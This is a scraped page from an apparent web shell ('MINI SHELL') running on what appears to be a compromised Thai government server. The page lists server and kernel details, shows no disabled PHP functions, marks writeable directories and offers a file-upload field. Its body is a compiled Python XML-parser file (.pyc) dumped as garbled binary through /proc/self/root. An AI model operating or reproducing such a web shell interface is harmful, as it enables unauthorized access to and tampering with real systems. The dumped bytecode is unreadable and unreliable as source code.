MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/dom/ext/reader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/dom/ext/reader/Sgmlop.pyc
mò
0|G=c@s·dkZdkZdkZdkZdklZdklZdklZdkl	Z	dkl
Z
dklZl
Z
dZdZd	d
ZdedZd
ededdZdedZeidedeefeiƒZyeƒWn9dklZeiddƒdd„Zd„ZnXdfd„ƒYZeidƒZhZx*e
iƒD]\ZZ eeƒee <qgWdefd„ƒYZ!defd „ƒYZ"dS(!N(ssgmlop(simplementation(sNode(sNotSupportedErr(sEMPTY_NAMESPACE(sHTML_DTDsHTML_CHARACTER_ENTITIESs
ISO-8859-1s(?P<root>[a-zA-Z][a-zA-Z0-9]*)s
("[^"]*")|s	('[^']*')s\s*(?P<system%d>t)s\s*PUBLIC\s*(?P<public>t(is)?)tSYSTEMisDOCTYPE s(%s|%s)?(swstringsISO_8859-1:1987sUS-ASCIIcCs5y#titi|ƒ|ƒiƒSWn|SnXdS(sCreate a UTF-8 stringN(twstringtdecodetstringtuppertencodingtstrtutf8(RR((tB/usr/lib/python2.4/site-packages/_xmlplus/dom/ext/reader/Sgmlop.pytunicodes
#cCs)yti|ƒiƒSWn|SnXdS(s3Create a UTF-8 string from a Unicode character codeN(RtchrtcharR	(R
((R
tunichrs
tSgmlopParsercBsŒtZdd„Zd„Zdd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
d„Zd
„Zd„ZRS(NcCsQhdd<dd<dd<dd<d	d
<|_|o|ii|ƒdS(Ntampt&tapost'tltt<tgtt>tquott"(tselftentitiestupdate(RR((R
t__init__'s6cCs||_|ii|ƒdS(N(tparserRt_parsertregister(RR((R
t
initParser0s	cCstd|ƒ‚dS(NsinitState: ownerDoc=%s(tNotImplementErrortownerDoc(RR#((R
t	initState5scCs|ii|iƒƒdS(N(RRtparsetstreamtread(RR&((R
R%8scCstd|ƒ‚dS(sHandles <!...> directivesshandle_special: data=%sN(tNotImplementedErrortdata(RR)((R
thandle_special<scCstd||fƒ‚dS(s Handles processing instructions.shandle_proc: target=%s, data=%sN(R(ttargetR)(RR+R)((R
thandle_proc@scCstd|ƒ‚dS(sF
        In XML mode attrs is a dictionary, otherwise a list.
        sfinish_starttag: name=%sN(R(ttagname(RR-tattrs((R
tfinish_starttagDscCstd|ƒ‚dS(Nsfinish_endtag: name=%s(R(R-(RR-((R
t
finish_endtagJscCs<|ii|ƒo|i|i|ƒn|i|ƒdS(N(RRthas_keytnamethandle_datatunknown_entityref(RR2((R
thandle_entityrefMs
cCstd|ƒ‚dS(Nshandle_cdata: data=%s(R(R)(RR)((R
thandle_cdata^scCstd|ƒ‚dS(Nshandle_data: data=%s(R(R)(RR)((R
R3ascCstd|ƒ‚dS(Nshandle_comment: data=%s(R(R)(RR)((R
thandle_commentdscCsdS(N((RR2((R
tunknown_endtaggscCsdS(N((RR2((R
R4hs(t__name__t
__module__tNoneRR!R$R%R*R,R/R0R5R6R3R7R8R4(((R
R&s												s*charset\s*=\s*(?P<charset>[a-zA-Z0-9_\-]+)t
HtmlParsercBsqtZd„Zd„Zddd„Zd„Zd„Zd„Zd„Z	d	„Z
d
„Zd„Zd„Z
RS(
NcCsti|tƒdS(N(RRRt
HTML_ENTITIES(R((R
RrscCsti|tiƒƒdS(N(RR!Rtsgmlopt
SGMLParser(R((R
R!ustcCsW|p
tidƒ|_|pt|_|iiƒ|_	|i	g|_
d|_dS(NR@i(R#timplementationtcreateHTMLDocumentRt	_ownerDoctcharsettDEFAULT_CHARSETt_charsettcreateDocumentFragmenttrootNodet_stackt_hasHtml(RR#RD((R
R$xs	cCsdS(N((RR)((R
R*€scCsdS(N((RR+R)((R
R,„scCs
t||iƒ}ti|ƒ}
ti	|
ƒpdSn|i
it|ƒ}|
djo{td„|ƒ}	d
|	joXxU|	D]I\}}|djo0ti|ƒ}|o|idƒ|_qÊqqWqÖnx?|D]7\}}|itt||iƒt||iƒƒqÝWx¥tdt|iƒƒD]‹}|i|}|
tti|iƒjoZ|i|ƒ|djo|i|d |_nt|
o|ii|ƒndSq1q1W|i o>|
djo1|id	i|ƒ|ii|ƒd|_ ndS(NtmetacCs(|\}}ti|ƒti|ƒfS(N(R2tvalueRtlower(t.0R2RL((R
t<lambda>“ss
http-equivscontent-typetcontentRDithtmli(s
http-equivscontent-type(!RR-RRFtunicodeTagNameRRMtlowerTagNametHTML_DTDR1RCtcreateElementNStEMPTY_NAMESPACEtelementtmapR.tloweredR2RLtg_reCharsettsearchtmatchtgrouptsetAttributeNStrangetlenRItitparentttagNametappendChildtappendRJ(RR-R.RRRbR2RaRLRWRYRSR\((R
R/ˆsD
		

&


cCsvtit||iƒƒ}xTtdt|i	ƒƒD]:}|i	|}||ijo|i	| |_	Pq4q4WdS(Ni(
RRRR-RRFt	uppercaseR_R`RIRaRWRc(RR-RaRfRW((R
R0´s	cCs|ii|ƒok|i|}|id}|ip|}|i	t
ijo|i|ƒq‹|i
|ii|ƒƒn|i|ƒdS(Niÿÿÿÿ(RRR1R2tunidataRItnodet	lastChildt	text_nodetnodeTypetNodet	TEXT_NODEt
appendDataRdRCtcreateTextNodeR4(RR2RhRjRg((R
R5¾s


cCspt||iƒ}|id}|ip|}|i	t
ijo|i|ƒn|i
|ii|ƒƒdS(Niÿÿÿÿ(RR)RRFRgRIRhRiRjRkRlRmRnRdRCRo(RR)RhRjRg((R
R3Ës
cCsž|ddjot|ddƒ}n
t|ƒ}t|ƒ}|id}|ip|}|i	t
ijo|i|ƒn|i
|ii|ƒƒdS(Nitxiiiÿÿÿÿ(RLtintRRgRRIRhRiRjRkRlRmRnRdRCRo(RRLRhRjRg((R
thandle_charrefÕs
cCs*|ii|ƒ}|idi|ƒdS(Niÿÿÿÿ(RRCt
createCommentR)tcommentRIRd(RR)Rt((R
R7ès(R9R:RR!R;R$R*R,R/R0R5R3RrR7(((R
R<ps					,	
	
	
	t	XmlParsercBs/tZd„Zdd„Zd„Zd„ZRS(NcCsti|tiƒƒdS(N(RR!RR>t	XMLParser(R((R
R!ïscCs“d|_|o.||_|iiƒ|_|ig|_nd|_g|_d|_d|_g|_	hdt
<|_g|_d|_
dS(NtxmlR@(R;RRCR#RGt	_rootNodeRIt_dtt_xmlDeclt_orphanedNodest
XML_NAMESPACEt_namespacest_namespaceStackt	_currText(RR#((R
R$òs									c
Cs©h}g}h}x±|iƒD]£\}}t|ƒ\}	}
|||	|
|f<|
djoe|ii|	ƒo|i|	||	<n|i
|	ƒ|	p|o||i|	<qÂ|i
|	ƒqqW|ii
||fƒt|ƒ\}	}
|ii|	dƒ}|ii||ƒ}xz|iƒD]l\\}	}
}}|
djo
t}n|ii|	dƒ}|ii||ƒ}||_|i|ƒq%W|ii
|ƒdS(Ntxmlns(told_nsstdel_nsstsplit_attrsR.titemsR2RLt
SplitQNametprefixtlocalRR}R1ReR~R-tgetR;t	namespaceRCRURWtXMLNS_NAMESPACEtcreateAttributeNStattrtsetAttributeNodeNSRI(
RR-R.RƒR2R‰R‚RLRWR†R‡RRŒ((R
R/s6





	cCsg|iiƒ}|iiƒ\}}|ii|ƒx|D]}|i|=q;W|idi
|ƒdS(Niÿÿÿÿ(RRItpopRWR~RR‚R}RR†Rd(RR-R‚RWR†R((R
R0%s(R9R:R!R;R$R/R0(((R
Ruís		 (#Rtrettypestsystxml.parsersR>txml.domRARltNotSupportedErrRVtxml.dom.htmlRTtHTML_CHARACTER_ENTITIESREt_roott_quotedt_sysIdt_pubIdtcompiletIt_doctypeRtxml.unicode.iso8859Rt
install_aliasRRRZR=R„R
R2R<Ru(R˜R
RVRRRšRlRERAR—RRR<R–RR™R>R”RR‘R=RuRR2RTRZR((R
t?s8$





'

D
}

Anon7 - 2021